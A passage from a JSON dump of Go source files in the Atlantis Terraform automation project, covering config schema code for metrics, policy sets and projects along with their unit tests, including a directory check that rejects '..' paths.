raw.Metrics\n\t}{\n\t\t{\n\t\t\tdescription: \"success with stats config\",\n\t\t\tsubject: raw.Metrics{\n\t\t\t\tStatsd: &raw.Statsd{\n\t\t\t\t\tHost: \"127.0.0.1\",\n\t\t\t\t\tPort: \"8125\",\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tdescription: \"success with stats config using hostname\",\n\t\t\tsubject: raw.Metrics{\n\t\t\t\tStatsd: &raw.Statsd{\n\t\t\t\t\tHost: \"localhost\",\n\t\t\t\t\tPort: \"8125\",\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tdescription: \"missing stats\",\n\t\t},\n\t\t{\n\t\t\tdescription: \"success with prometheus config\",\n\t\t\tsubject: raw.Metrics{\n\t\t\t\tPrometheus: &raw.Prometheus{\n\t\t\t\t\tEndpoint: \"/metrics\",\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tdescription: \"success with both configs\",\n\t\t\tsubject: raw.Metrics{\n\t\t\t\tStatsd: &raw.Statsd{\n\t\t\t\t\tHost: \"127.0.0.1\",\n\t\t\t\t\tPort: \"8125\",\n\t\t\t\t},\n\t\t\t\tPrometheus: &raw.Prometheus{\n\t\t\t\t\tEndpoint: \"/metrics\",\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n\n\tfor _, c := range cases {\n\t\tt.Run(c.description, func(t *testing.T) {\n\t\t\tassert.NoError(t, c.subject.Validate())\n\t\t})\n\t}\n\n}\nfunc TestMetrics_Validate_Error(t *testing.T) {\n\tcases := []struct {\n\t\tdescription string\n\t\tsubject     raw.Metrics\n\t}{\n\t\t{\n\t\t\tdescription: \"missing host\",\n\t\t\tsubject: raw.Metrics{\n\t\t\t\tStatsd: &raw.Statsd{\n\t\t\t\t\tPort: \"8125\",\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tdescription: \"missing port\",\n\t\t\tsubject: raw.Metrics{\n\t\t\t\tStatsd: &raw.Statsd{\n\t\t\t\t\tHost: \"127.0.0.1\",\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tdescription: \"invalid port\",\n\t\t\tsubject: raw.Metrics{\n\t\t\t\tStatsd: &raw.Statsd{\n\t\t\t\t\tHost: \"127.0.0.1\",\n\t\t\t\t\tPort: \"string\",\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tdescription: \"invalid endpoint\",\n\t\t\tsubject: raw.Metrics{\n\t\t\t\tPrometheus: &raw.Prometheus{\n\t\t\t\t\tEndpoint: \"\",\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n\n\tfor _, c := range cases {\n\t\tt.Run(c.description, func(t *testing.T) {\n\t\t\tassert.Error(t, c.subject.Validate())\n\t\t})\n\t}\n}\n"
  },
  {
    "path": "server/core/config/raw/policies.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage raw\n\nimport (\n\tvalidation \"github.com/go-ozzo/ozzo-validation\"\n\tversion \"github.com/hashicorp/go-version\"\n\t\"github.com/runatlantis/atlantis/server/core/config/valid\"\n)\n\n// PolicySets is the raw schema for repo-level atlantis.yaml config.\ntype PolicySets struct {\n\tVersion      *string      `yaml:\"conftest_version,omitempty\" json:\"conftest_version,omitempty\"`\n\tOwners       PolicyOwners `yaml:\"owners\" json:\"owners\"`\n\tPolicySets   []PolicySet  `yaml:\"policy_sets\" json:\"policy_sets\"`\n\tApproveCount int          `yaml:\"approve_count,omitempty\" json:\"approve_count,omitempty\"`\n}\n\nfunc (p PolicySets) Validate() error {\n\treturn validation.ValidateStruct(&p,\n\t\tvalidation.Field(&p.Version, validation.By(VersionValidator)),\n\t\tvalidation.Field(&p.PolicySets, validation.Required.Error(\"cannot be empty; Declare policies that you would like to enforce\")),\n\t)\n}\n\nfunc (p PolicySets) ToValid() valid.PolicySets {\n\tpolicySets := valid.PolicySets{}\n\n\tif p.Version != nil {\n\t\tpolicySets.Version, _ = version.NewVersion(*p.Version)\n\t}\n\n\t// Default number of required reviews for all policy sets should be 1.\n\t// Negative numbers are automatically set to 1.\n\tpolicySets.ApproveCount = p.ApproveCount\n\tif policySets.ApproveCount <= 0 {\n\t\tpolicySets.ApproveCount = 1\n\t}\n\n\tpolicySets.Owners = p.Owners.ToValid()\n\n\tvalidPolicySets := make([]valid.PolicySet, 0)\n\tfor _, rawPolicySet := range p.PolicySets {\n\t\t// Default to top-level review count if not specified.\n\t\t// Negative numbers are automatically set to the default.\n\t\tif rawPolicySet.ApproveCount <= 0 {\n\t\t\trawPolicySet.ApproveCount = policySets.ApproveCount\n\t\t}\n\t\tvalidPolicySets = append(validPolicySets, rawPolicySet.ToValid())\n\t}\n\tpolicySets.PolicySets = validPolicySets\n\n\treturn policySets\n}\n\ntype PolicyOwners struct {\n\tUsers []string `yaml:\"users,omitempty\" json:\"users,omitempty\"`\n\tTeams []string `yaml:\"teams,omitempty\" json:\"teams,omitempty\"`\n}\n\nfunc (o PolicyOwners) ToValid() valid.PolicyOwners {\n\tvar policyOwners valid.PolicyOwners\n\n\tif len(o.Users) > 0 {\n\t\tpolicyOwners.Users = o.Users\n\t}\n\n\tif len(o.Teams) > 0 {\n\t\tpolicyOwners.Teams = o.Teams\n\t}\n\treturn policyOwners\n}\n\ntype PolicySet struct {\n\tPath               string       `yaml:\"path\" json:\"path\"`\n\tSource             string       `yaml:\"source\" json:\"source\"`\n\tName               string       `yaml:\"name\" json:\"name\"`\n\tOwners             PolicyOwners `yaml:\"owners\" json:\"owners\"`\n\tApproveCount       int          `yaml:\"approve_count,omitempty\" json:\"approve_count,omitempty\"`\n\tPreventSelfApprove bool         `yaml:\"prevent_self_approve,omitempty\" json:\"prevent_self_approve,omitempty\"`\n}\n\nfunc (p PolicySet) Validate() error {\n\treturn validation.ValidateStruct(&p,\n\t\tvalidation.Field(&p.Name, validation.Required.Error(\"is required\")),\n\t\tvalidation.Field(&p.Owners),\n\t\tvalidation.Field(&p.ApproveCount),\n\t\tvalidation.Field(&p.Path, validation.Required.Error(\"is required\")),\n\t\tvalidation.Field(&p.Source, validation.In(valid.LocalPolicySet, valid.GithubPolicySet).Error(\"only 'local' and 'github' source types are supported\")),\n\t)\n}\n\nfunc (p PolicySet) ToValid() valid.PolicySet {\n\tvar policySet valid.PolicySet\n\n\tpolicySet.Name = p.Name\n\tpolicySet.Path = p.Path\n\tpolicySet.Source = p.Source\n\tpolicySet.ApproveCount = p.ApproveCount\n\tpolicySet.PreventSelfApprove = p.PreventSelfApprove\n\tpolicySet.Owners = p.Owners.ToValid()\n\n\treturn policySet\n}\n"
  },
  {
    "path": "server/core/config/raw/policies_test.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage raw_test\n\nimport (\n\t\"testing\"\n\n\t\"github.com/hashicorp/go-version\"\n\t\"github.com/runatlantis/atlantis/server/core/config/raw\"\n\t\"github.com/runatlantis/atlantis/server/core/config/valid\"\n\t. \"github.com/runatlantis/atlantis/testing\"\n\tyaml \"gopkg.in/yaml.v3\"\n)\n\nfunc TestPolicySetsConfig_YAMLMarshalling(t *testing.T) {\n\tcases := []struct {\n\t\tdescription string\n\t\tinput       string\n\t\texp         raw.PolicySets\n\t\texpErr      string\n\t}{\n\t\t{\n\t\t\tdescription: \"valid yaml\",\n\t\t\tinput: `\nconftest_version: v1.0.0\npolicy_sets:\n- name: policy-name\n  source: \"local\"\n  path: \"rel/path/to/policy-set\"\n`,\n\t\t\texp: raw.PolicySets{\n\t\t\t\tVersion: String(\"v1.0.0\"),\n\t\t\t\tPolicySets: []raw.PolicySet{\n\t\t\t\t\t{\n\t\t\t\t\t\tName:   \"policy-name\",\n\t\t\t\t\t\tSource: valid.LocalPolicySet,\n\t\t\t\t\t\tPath:   \"rel/path/to/policy-set\",\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n\n\tfor _, c := range cases {\n\t\tt.Run(c.description, func(t *testing.T) {\n\t\t\tvar got raw.PolicySets\n\t\t\terr := unmarshalString(c.input, &got)\n\t\t\tif c.expErr != \"\" {\n\t\t\t\tErrEquals(t, c.expErr, err)\n\t\t\t\treturn\n\t\t\t}\n\t\t\tOk(t, err)\n\t\t\tEquals(t, c.exp, got)\n\n\t\t\t_, err = yaml.Marshal(got)\n\t\t\tOk(t, err)\n\n\t\t\tvar got2 raw.PolicySets\n\t\t\terr = unmarshalString(c.input, &got2)\n\t\t\tOk(t, err)\n\t\t\tEquals(t, got2, got)\n\t\t})\n\t}\n}\n\nfunc TestPolicySets_Validate(t *testing.T) {\n\tcases := []struct {\n\t\tdescription string\n\t\tinput       raw.PolicySets\n\t\texpErr      string\n\t}{\n\t\t// Valid inputs.\n\t\t{\n\t\t\tdescription: \"policies\",\n\t\t\tinput: raw.PolicySets{\n\t\t\t\tVersion: String(\"v1.0.0\"),\n\t\t\t\tPolicySets: []raw.PolicySet{\n\t\t\t\t\t{\n\t\t\t\t\t\tName:   \"policy-name-1\",\n\t\t\t\t\t\tPath:   \"rel/path/to/source\",\n\t\t\t\t\t\tSource: valid.LocalPolicySet,\n\t\t\t\t\t},\n\t\t\t\t\t{\n\t\t\t\t\t\tName: \"policy-name-2\",\n\t\t\t\t\t\tOwners: raw.PolicyOwners{\n\t\t\t\t\t\t\tUsers: []string{\n\t\t\t\t\t\t\t\t\"john-doe\",\n\t\t\t\t\t\t\t\t\"jane-doe\",\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t},\n\t\t\t\t\t\tPath:   \"rel/path/to/source\",\n\t\t\t\t\t\tSource: valid.GithubPolicySet,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\texpErr: \"\",\n\t\t},\n\n\t\t// Invalid inputs.\n\t\t{\n\t\t\tdescription: \"empty elem\",\n\t\t\tinput:       raw.PolicySets{},\n\t\t\texpErr:      \"policy_sets: cannot be empty; Declare policies that you would like to enforce.\",\n\t\t},\n\n\t\t{\n\t\t\tdescription: \"missing policy name and source path\",\n\t\t\tinput: raw.PolicySets{\n\t\t\t\tPolicySets: []raw.PolicySet{\n\t\t\t\t\t{},\n\t\t\t\t},\n\t\t\t},\n\t\t\texpErr: \"policy_sets: (0: (name: is required; path: is required.).).\",\n\t\t},\n\t\t{\n\t\t\tdescription: \"invalid source type\",\n\t\t\tinput: raw.PolicySets{\n\t\t\t\tPolicySets: []raw.PolicySet{\n\t\t\t\t\t{\n\t\t\t\t\t\tName:   \"good-policy\",\n\t\t\t\t\t\tSource: \"invalid-source-type\",\n\t\t\t\t\t\tPath:   \"rel/path/to/source\",\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\texpErr: \"policy_sets: (0: (source: only 'local' and 'github' source types are supported.).).\",\n\t\t},\n\t\t{\n\t\t\tdescription: \"empty string version\",\n\t\t\tinput: raw.PolicySets{\n\t\t\t\tVersion: String(\"\"),\n\t\t\t\tPolicySets: []raw.PolicySet{\n\t\t\t\t\t{\n\t\t\t\t\t\tName:   \"policy-name-1\",\n\t\t\t\t\t\tPath:   \"rel/path/to/source\",\n\t\t\t\t\t\tSource: valid.LocalPolicySet,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\texpErr: \"conftest_version: version \\\"\\\" could not be parsed: Malformed version: .\",\n\t\t},\n\t\t{\n\t\t\tdescription: \"invalid version\",\n\t\t\tinput: raw.PolicySets{\n\t\t\t\tVersion: String(\"version123\"),\n\t\t\t\tPolicySets: []raw.PolicySet{\n\t\t\t\t\t{\n\t\t\t\t\t\tName:   \"policy-name-1\",\n\t\t\t\t\t\tPath:   \"rel/path/to/source\",\n\t\t\t\t\t\tSource: valid.LocalPolicySet,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\texpErr: \"conftest_version: version \\\"version123\\\" could not be parsed: Malformed version: version123.\",\n\t\t},\n\t}\n\n\tfor _, c := range cases {\n\t\tt.Run(c.description, func(t *testing.T) {\n\t\t\terr := c.input.Validate()\n\t\t\tif c.expErr == \"\" {\n\t\t\t\tOk(t, err)\n\t\t\t\treturn\n\t\t\t}\n\t\t\tErrEquals(t, c.expErr, err)\n\t\t})\n\t}\n}\n\nfunc TestPolicySets_ToValid(t *testing.T) {\n\tversion, _ := version.NewVersion(\"v1.0.0\")\n\tcases := []struct {\n\t\tdescription string\n\t\tinput       raw.PolicySets\n\t\texp         valid.PolicySets\n\t}{\n\t\t{\n\t\t\tdescription: \"valid policies with owners\",\n\t\t\tinput: raw.PolicySets{\n\t\t\t\tVersion: String(\"v1.0.0\"),\n\t\t\t\tOwners: raw.PolicyOwners{\n\t\t\t\t\tUsers: []string{\n\t\t\t\t\t\t\"test\",\n\t\t\t\t\t},\n\t\t\t\t\tTeams: []string{\n\t\t\t\t\t\t\"testteam\",\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\tPolicySets: []raw.PolicySet{\n\t\t\t\t\t{\n\t\t\t\t\t\tName: \"good-policy\",\n\t\t\t\t\t\tOwners: raw.PolicyOwners{\n\t\t\t\t\t\t\tUsers: []string{\n\t\t\t\t\t\t\t\t\"john-doe\",\n\t\t\t\t\t\t\t\t\"jane-doe\",\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t},\n\t\t\t\t\t\tPath:   \"rel/path/to/source\",\n\t\t\t\t\t\tSource: valid.LocalPolicySet,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\texp: valid.PolicySets{\n\t\t\t\tVersion:      version,\n\t\t\t\tApproveCount: 1,\n\t\t\t\tOwners: valid.PolicyOwners{\n\t\t\t\t\tUsers: []string{\"test\"},\n\t\t\t\t\tTeams: []string{\"testteam\"},\n\t\t\t\t},\n\t\t\t\tPolicySets: []valid.PolicySet{\n\t\t\t\t\t{\n\t\t\t\t\t\tName:         \"good-policy\",\n\t\t\t\t\t\tApproveCount: 1,\n\t\t\t\t\t\tOwners: valid.PolicyOwners{\n\t\t\t\t\t\t\tUsers: []string{\n\t\t\t\t\t\t\t\t\"john-doe\",\n\t\t\t\t\t\t\t\t\"jane-doe\",\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t},\n\t\t\t\t\t\tPath:   \"rel/path/to/source\",\n\t\t\t\t\t\tSource: \"local\",\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tdescription: \"valid policies without owners\",\n\t\t\tinput: raw.PolicySets{\n\t\t\t\tVersion: String(\"v1.0.0\"),\n\t\t\t\tPolicySets: []raw.PolicySet{\n\t\t\t\t\t{\n\t\t\t\t\t\tName: \"good-policy\",\n\t\t\t\t\t\tOwners: raw.PolicyOwners{\n\t\t\t\t\t\t\tUsers: []string{\n\t\t\t\t\t\t\t\t\"john-doe\",\n\t\t\t\t\t\t\t\t\"jane-doe\",\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t},\n\t\t\t\t\t\tPath:   \"rel/path/to/source\",\n\t\t\t\t\t\tSource: valid.LocalPolicySet,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\texp: valid.PolicySets{\n\t\t\t\tVersion:      version,\n\t\t\t\tApproveCount: 1,\n\t\t\t\tPolicySets: []valid.PolicySet{\n\t\t\t\t\t{\n\t\t\t\t\t\tName: \"good-policy\",\n\t\t\t\t\t\tOwners: valid.PolicyOwners{\n\t\t\t\t\t\t\tUsers: []string{\n\t\t\t\t\t\t\t\t\"john-doe\",\n\t\t\t\t\t\t\t\t\"jane-doe\",\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t},\n\t\t\t\t\t\tPath:         \"rel/path/to/source\",\n\t\t\t\t\t\tSource:       \"local\",\n\t\t\t\t\t\tApproveCount: 1,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n\n\tfor _, c := range cases {\n\t\tt.Run(c.description, func(t *testing.T) {\n\t\t\tEquals(t, c.exp, c.input.ToValid())\n\t\t})\n\t}\n}\n"
  },
  {
    "path": "server/core/config/raw/project.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage raw\n\nimport (\n\t\"errors\"\n\t\"fmt\"\n\t\"net/url\"\n\t\"path/filepath\"\n\t\"regexp\"\n\t\"strings\"\n\n\t\"github.com/bmatcuk/doublestar/v4\"\n\tvalidation \"github.com/go-ozzo/ozzo-validation\"\n\tversion \"github.com/hashicorp/go-version\"\n\t\"github.com/runatlantis/atlantis/server/core/config/valid\"\n)\n\nconst (\n\tDefaultWorkspace      = \"default\"\n\tApprovedRequirement   = \"approved\"\n\tMergeableRequirement  = \"mergeable\"\n\tUnDivergedRequirement = \"undiverged\"\n)\n\ntype Project struct {\n\tName                      *string    `yaml:\"name,omitempty\"`\n\tBranch                    *string    `yaml:\"branch,omitempty\"`\n\tDir                       *string    `yaml:\"dir,omitempty\"`\n\tWorkspace                 *string    `yaml:\"workspace,omitempty\"`\n\tWorkflow                  *string    `yaml:\"workflow,omitempty\"`\n\tTerraformDistribution     *string    `yaml:\"terraform_distribution,omitempty\"`\n\tTerraformVersion          *string    `yaml:\"terraform_version,omitempty\"`\n\tAutoplan                  *Autoplan  `yaml:\"autoplan,omitempty\"`\n\tPlanRequirements          []string   `yaml:\"plan_requirements,omitempty\"`\n\tApplyRequirements         []string   `yaml:\"apply_requirements,omitempty\"`\n\tImportRequirements        []string   `yaml:\"import_requirements,omitempty\"`\n\tDependsOn                 []string   `yaml:\"depends_on,omitempty\"`\n\tDeleteSourceBranchOnMerge *bool      `yaml:\"delete_source_branch_on_merge,omitempty\"`\n\tRepoLocking               *bool      `yaml:\"repo_locking,omitempty\"`\n\tRepoLocks                 *RepoLocks `yaml:\"repo_locks,omitempty\"`\n\tExecutionOrderGroup       *int       `yaml:\"execution_order_group,omitempty\"`\n\tPolicyCheck               *bool      `yaml:\"policy_check,omitempty\"`\n\tCustomPolicyCheck         *bool      `yaml:\"custom_policy_check,omitempty\"`\n\tSilencePRComments         []string   `yaml:\"silence_pr_comments,omitempty\"`\n}\n\nfunc (p Project) Validate() error {\n\tvalidDir := func(value any) error {\n\t\tdir := *value.(*string)\n\t\tif strings.Contains(dir, \"..\") {\n\t\t\treturn errors.New(\"cannot contain '..'\")\n\t\t}\n\t\t// If the dir contains glob pattern characters, validate the pattern\n\t\tif ContainsGlobPattern(dir) {\n\t\t\tif err := ValidateGlobPattern(dir); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\t\treturn nil\n\t}\n\n\tvalidName := func(value any) error {\n\t\tstrPtr := value.(*string)\n\t\tif strPtr == nil {\n\t\t\treturn nil\n\t\t}\n\t\tif *strPtr == \"\" {\n\t\t\treturn errors.New(\"if set cannot be empty\")\n\t\t}\n\t\tif !validProjectName(*strPtr) {\n\t\t\treturn fmt.Errorf(\"%q is not allowed: must contain only URL safe characters\", *strPtr)\n\t\t}\n\t\treturn nil\n\t}\n\n\tbranchValid := func(value any) error {\n\t\tstrPtr := value.(*string)\n\t\tif strPtr == nil {\n\t\t\treturn nil\n\t\t}\n\t\tbranch := *strPtr\n\t\tif !strings.HasPrefix(branch, \"/\") || !strings.HasSuffix(branch, \"/\") {\n\t\t\treturn errors.New(\"regex must begin and end with a slash '/'\")\n\t\t}\n\t\twithoutSlashes := branch[1 : len(branch)-1]\n\t\t_, err := regexp.Compile(withoutSlashes)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"parsing: %s: %w\", branch, err)\n\t\t}\n\t\treturn nil\n\t}\n\n\tDependsOn := func(value any) error {\n\t\treturn nil\n\t}\n\n\t// Validate that name doesn't contain glob patterns - glob expansion only works for 'dir'\n\tif p.Name != nil && ContainsGlobPattern(*p.Name) {\n\t\treturn errors.New(\"name: cannot contain glob pattern characters ('*', '?', '['); glob expansion is only supported in the 'dir' field\")\n\t}\n\n\t// Cross-field validation: name cannot be used with glob patterns in dir\n\t// because glob patterns expand to multiple projects which can't share the same name\n\tif p.Name != nil && p.Dir != nil && ContainsGlobPattern(*p.Dir) {\n\t\treturn errors.New(\"name: cannot be used with glob patterns in 'dir'; glob patterns expand to multiple projects which cannot share the same name\")\n\t}\n\n\treturn validation.ValidateStruct(&p,\n\t\tvalidation.Field(&p.Dir, validation.Required, validation.By(validDir)),\n\t\tvalidation.Field(&p.PlanRequirements, validation.By(validPlanReq)),\n\t\tvalidation.Field(&p.ApplyRequirements, validation.By(validApplyReq)),\n\t\tvalidation.Field(&p.ImportRequirements, validation.By(validImportReq)),\n\t\tvalidation.Field(&p.TerraformDistribution, validation.By(validDistribution)),\n\t\tvalidation.Field(&p.TerraformVersion, validation.By(VersionValidator)),\n\t\tvalidation.Field(&p.DependsOn, validation.By(DependsOn)),\n\t\tvalidation.Field(&p.Name, validation.By(validName)),\n\t\tvalidation.Field(&p.Branch, validation.By(branchValid)),\n\t)\n}\n\nfunc (p Project) ToValid() valid.Project {\n\tvar v valid.Project\n\t// Prepend ./ and then run .Clean() so we're guaranteed to have a relative\n\t// directory. This is necessary because we use this dir without sanitation\n\t// in DefaultProjectFinder.\n\tcleanedDir := filepath.Clean(\"./\" + *p.Dir)\n\tv.Dir = cleanedDir\n\n\tif p.Branch != nil {\n\t\tbranch := *p.Branch\n\t\twithoutSlashes := branch[1 : len(branch)-1]\n\t\t// Safe to use MustCompile because we test it in Validate().\n\t\tv.BranchRegex = regexp.MustCompile(withoutSlashes)\n\t}\n\n\tif p.Workspace == nil || *p.Workspace == \"\" {\n\t\tv.Workspace = DefaultWorkspace\n\t} else {\n\t\tv.Workspace = *p.Workspace\n\t}\n\n\tv.WorkflowName = p.Workflow\n\tif p.TerraformVersion != nil {\n\t\tv.TerraformVersion, _ = version.NewVersion(*p.TerraformVersion)\n\t}\n\tif p.TerraformDistribution != nil {\n\t\tv.TerraformDistribution = p.TerraformDistribution\n\t}\n\tif p.Autoplan == nil {\n\t\tv.Autoplan = DefaultAutoPlan()\n\t} else {\n\t\tv.Autoplan = p.Autoplan.ToValid()\n\t}\n\n\t// There are no default apply/import requirements.\n\tv.PlanRequirements = p.PlanRequirements\n\tv.ApplyRequirements = p.ApplyRequirements\n\tv.ImportRequirements = p.ImportRequirements\n\n\tv.Name = p.Name\n\n\tv.DependsOn = p.DependsOn\n\n\tif p.DeleteSourceBranchOnMerge != nil {\n\t\tv.DeleteSourceBranchOnMerge = p.DeleteSourceBranchOnMerge\n\t}\n\n\tif p.RepoLocking != nil {\n\t\tv.RepoLocking = p.RepoLocking\n\t}\n\n\tif p.RepoLocks != nil {\n\t\tv.RepoLocks = p.RepoLocks.ToValid()\n\t}\n\n\tif p.ExecutionOrderGroup != nil {\n\t\tv.ExecutionOrderGroup = *p.ExecutionOrderGroup\n\t}\n\n\tif p.PolicyCheck != nil {\n\t\tv.PolicyCheck = p.PolicyCheck\n\t}\n\n\tif p.CustomPolicyCheck != nil {\n\t\tv.CustomPolicyCheck = p.CustomPolicyCheck\n\t}\n\n\tif p.SilencePRComments != nil {\n\t\tv.SilencePRComments = p.SilencePRComments\n\t}\n\n\treturn v\n}\n\n// validProjectName returns true if the project name is valid.\n// Since the name might be used in URLs and definitely in files we don't\n// support any characters that must be url escaped *except* for '/' because\n// users like to name their projects to match the directory it's in.\nfunc validProjectName(name string) bool {\n\tnameWithoutSlashes := strings.ReplaceAll(name, \"/\", \"-\")\n\treturn nameWithoutSlashes == url.QueryEscape(nameWithoutSlashes)\n}\n\nfunc validPlanReq(value any) error {\n\treqs := value.([]string)\n\tfor _, r := range reqs {\n\t\tif r != ApprovedRequirement && r != MergeableRequirement && r != UnDivergedRequirement {\n\t\t\treturn fmt.Errorf(\"%q is not a valid plan_requirement, only %q, %q and %q are supported\", r, ApprovedRequirement, MergeableRequirement, UnDivergedRequirement)\n\t\t}\n\t}\n\treturn nil\n}\n\nfunc validApplyReq(value any) error {\n\treqs := value.([]string)\n\tfor _, r := range reqs {\n\t\tif r != ApprovedRequirement && r != MergeableRequirement && r != UnDivergedRequirement {\n\t\t\treturn fmt.Errorf(\"%q is not a valid apply_requirement, only %q, %q and %q are supported\", r, ApprovedRequirement, MergeableRequirement, UnDivergedRequirement)\n\t\t}\n\t}\n\treturn nil\n}\n\nfunc validImportReq(value any) error {\n\treqs := value.([]string)\n\tfor _, r := range reqs {\n\t\tif r != ApprovedRequirement && r != MergeableRequirement && r != UnDivergedRequirement {\n\t\t\treturn fmt.Errorf(\"%q is not a valid import_requirement, only %q, %q and %q are supported\", r, ApprovedRequirement, MergeableRequirement, UnDivergedRequirement)\n\t\t}\n\t}\n\treturn nil\n}\n\nfunc validDistribution(value any) error {\n\tdistribution := value.(*string)\n\tif distribution != nil && *distribution != \"terraform\" && *distribution != \"opentofu\" {\n\t\treturn fmt.Errorf(\"'%s' is not a valid terraform_distribution, only '%s' and '%s' are supported\", *distribution, \"terraform\", \"opentofu\")\n\t}\n\treturn nil\n}\n\n// ContainsGlobPattern returns true if the string contains glob pattern characters.\n// This is used to detect if a dir field should be treated as a glob pattern\n// for expansion into multiple projects.\nfunc ContainsGlobPattern(s string) bool {\n\treturn strings.ContainsAny(s, \"*?[\")\n}\n\n// ValidateGlobPattern validates that a glob pattern is syntactically correct\n// using the doublestar library.\nfunc ValidateGlobPattern(pattern string) error {\n\tif !doublestar.ValidatePattern(pattern) {\n\t\treturn fmt.Errorf(\"invalid glob pattern %q\", pattern)\n\t}\n\treturn nil\n}\n"
  },
  {
    "path": "server/core/config/raw/project_test.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage raw_test\n\nimport (\n\t\"testing\"\n\n\tvalidation \"github.com/go-ozzo/ozzo-validation\"\n\tversion \"github.com/hashicorp/go-version\"\n\t\"github.com/runatlantis/atlantis/server/core/config/raw\"\n\t\"github.com/runatlantis/atlantis/server/core/config/valid\"\n\t. \"github.com/runatlantis/atlantis/testing\"\n)\n\nfunc TestProject_UnmarshalYAML(t *testing.T) {\n\tcases := []struct {\n\t\tdescription string\n\t\tinput       string\n\t\texp         raw.Project\n\t}{\n\t\t{\n\t\t\tdescription: \"omit unset fields\",\n\t\t\tinput:       \"\",\n\t\t\texp: raw.Project{\n\t\t\t\tDir:                nil,\n\t\t\t\tWorkspace:          nil,\n\t\t\t\tWorkflow:           nil,\n\t\t\t\tTerraformVersion:   nil,\n\t\t\t\tAutoplan:           nil,\n\t\t\t\tPlanRequirements:   nil,\n\t\t\t\tApplyRequirements:  nil,\n\t\t\t\tImportRequirements: nil,\n\t\t\t\tName:               nil,\n\t\t\t\tBranch:             nil,\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tdescription: \"all fields set including mergeable apply requirement\",\n\t\t\tinput: `\nname: myname\nbranch: mybranch\ndir: mydir\nworkspace: workspace\nworkflow: workflow\nterraform_version: v0.11.0\nautoplan:\n  when_modified: []\n  enabled: false\nplan_requirements:\n- mergeable\napply_requirements:\n- mergeable\nimport_requirements:\n- mergeable\nexecution_order_group: 10`,\n\t\t\texp: raw.Project{\n\t\t\t\tName:             String(\"myname\"),\n\t\t\t\tBranch:           String(\"mybranch\"),\n\t\t\t\tDir:              String(\"mydir\"),\n\t\t\t\tWorkspace:        String(\"workspace\"),\n\t\t\t\tWorkflow:         String(\"workflow\"),\n\t\t\t\tTerraformVersion: String(\"v0.11.0\"),\n\t\t\t\tAutoplan: &raw.Autoplan{\n\t\t\t\t\tWhenModified: []string{},\n\t\t\t\t\tEnabled:      Bool(false),\n\t\t\t\t},\n\t\t\t\tPlanRequirements:    []string{\"mergeable\"},\n\t\t\t\tApplyRequirements:   []string{\"mergeable\"},\n\t\t\t\tImportRequirements:  []string{\"mergeable\"},\n\t\t\t\tExecutionOrderGroup: Int(10),\n\t\t\t},\n\t\t},\n\t}\n\n\tfor _, c := range cases {\n\t\tt.Run(c.description, func(t *testing.T) {\n\t\t\tvar p raw.Project\n\t\t\terr := unmarshalString(c.input, &p)\n\t\t\tOk(t, err)\n\t\t\tEquals(t, c.exp, p)\n\t\t})\n\t}\n}\n\nfunc TestProject_Validate(t *testing.T) {\n\tcases := []struct {\n\t\tdescription string\n\t\tinput       raw.Project\n\t\texpErr      string\n\t}{\n\t\t{\n\t\t\tdescription: \"minimal fields\",\n\t\t\tinput: raw.Project{\n\t\t\t\tDir: String(\".\"),\n\t\t\t},\n\t\t\texpErr: \"\",\n\t\t},\n\t\t{\n\t\t\tdescription: \"dir empty\",\n\t\t\tinput: raw.Project{\n\t\t\t\tDir: nil,\n\t\t\t},\n\t\t\texpErr: \"dir: cannot be blank.\",\n\t\t},\n\t\t{\n\t\t\tdescription: \"dir with ..\",\n\t\t\tinput: raw.Project{\n\t\t\t\tDir: String(\"../mydir\"),\n\t\t\t},\n\t\t\texpErr: \"dir: cannot contain '..'.\",\n\t\t},\n\t\t{\n\t\t\tdescription: \"not a regexp for branch\",\n\t\t\tinput: raw.Project{\n\t\t\t\tBranch: String(\"text\"),\n\t\t\t\tDir:    String(\".\"),\n\t\t\t},\n\t\t\texpErr: \"branch: regex must begin and end with a slash '/'.\",\n\t\t},\n\t\t{\n\t\t\tdescription: \"invalid regexp for branch\",\n\t\t\tinput: raw.Project{\n\t\t\t\tBranch: String(\"/(text/\"),\n\t\t\t\tDir:    String(\".\"),\n\t\t\t},\n\t\t\texpErr: \"branch: parsing: /(text/: error parsing regexp: missing closing ): `(text`.\",\n\t\t},\n\t\t{\n\t\t\tdescription: \"plan reqs with unsupported\",\n\t\t\tinput: raw.Project{\n\t\t\t\tDir:              String(\".\"),\n\t\t\t\tPlanRequirements: 